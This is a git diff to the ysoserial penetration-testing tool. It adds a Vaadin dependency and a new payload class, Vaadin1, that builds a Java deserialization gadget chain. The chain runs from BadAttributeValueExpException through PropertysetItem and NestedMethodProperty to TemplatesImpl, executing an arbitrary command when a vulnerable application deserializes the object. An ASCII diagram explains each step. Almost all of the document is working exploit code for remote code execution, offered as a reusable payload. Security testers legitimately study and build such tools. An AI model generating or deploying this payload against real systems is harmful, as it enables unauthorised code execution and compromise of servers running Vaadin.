diff --git a/pom.xml b/pom.xml
index 39ff36e..3900133 100644
--- a/pom.xml
+++ b/pom.xml
@@ -308,6 +308,11 @@
 			<artifactId>clojure</artifactId>
 			<version>1.8.0</version>
 		</dependency>
+		<dependency>
+			<groupId>com.vaadin</groupId>
+			<artifactId>vaadin-server</artifactId>
+			<version>7.7.14</version>
+		</dependency>
 	</dependencies>
 
 	<profiles>
diff --git a/src/main/java/ysoserial/payloads/Vaadin1.java b/src/main/java/ysoserial/payloads/Vaadin1.java
new file mode 100644
index 0000000..a72374e
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/Vaadin1.java
@@ -0,0 +1,73 @@
+package ysoserial.payloads;
+
+import javax.management.BadAttributeValueExpException;
+
+import org.apache.xalan.xsltc.trax.TemplatesImpl;
+
+import com.vaadin.data.util.NestedMethodProperty;
+import com.vaadin.data.util.PropertysetItem;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.Reflections;
+
+@Dependencies ( { "com.vaadin:vaadin-server:7.7.14" })
+@Authors({ Authors.KULLRICH })
+public class Vaadin1 implements ObjectPayload<Object>
+{
+//  +-------------------------------------------------+
+//  |                                                 |
+//  |  BadAttributeValueExpException                  |
+//  |                                                 |
+//  |  val ==>  PropertysetItem                       |
+//  |                                                 |
+//  |  readObject() ==> val.toString()                |
+//  |          +                                      |
+//  +----------|--------------------------------------+
+//             |
+//             |
+//             |
+//        +----|-----------------------------------------+
+//        |    v                                         |
+//        |  PropertysetItem                             |
+//        |                                              |
+//        |  toString () => getPropertyId().getValue ()  |
+//        |                                       +      |
+//        +---------------------------------------|------+
+//                                                |
+//                  +-----------------------------+
+//                  |
+//            +-----|----------------------------------------------+
+//            |     v                                              |
+//            |  NestedMethodProperty                              |
+//            |                                                    |
+//            |  getValue() => java.lang.reflect.Method.invoke ()  |
+//            |                                           |        |
+//            +-------------------------------------------|--------+
+//                                                        |
+//                    +-----------------------------------+
+//                    |
+//                +---|--------------------------------------------+
+//                |   v                                            |
+//                |  TemplatesImpl.getOutputProperties()           |
+//                |                                                |
+//                |                                                |
+//                |                                                |
+//                +------------------------------------------------+
+    @Override
+    public Object getObject (String command) throws Exception
+    {
+        TemplatesImpl templ = (TemplatesImpl) Gadgets.createTemplatesImpl (command);
+        PropertysetItem pItem = new PropertysetItem ();        
+        
+        NestedMethodProperty<TemplatesImpl> nmprop = new NestedMethodProperty<TemplatesImpl> (templ, "outputProperties");
+        pItem.addItemProperty ("outputProperties", nmprop);
+        
+        BadAttributeValueExpException b = new BadAttributeValueExpException ("");
+        Reflections.setFieldValue (b, "val", pItem);
+        
+        return b;
+    }
+
+}
diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java
index 5ed9085..2f4001e 100644
--- a/src/main/java/ysoserial/payloads/annotation/Authors.java
+++ b/src/main/java/ysoserial/payloads/annotation/Authors.java
@@ -18,6 +18,7 @@ public @interface Authors {
     String GEBL = "gebl" ;
     String JACOBAINES = "jacob-baines";
     String JASINNER = "jasinner";
+    String KULLRICH = "kai_ullrich";
 
     String[] value() default {};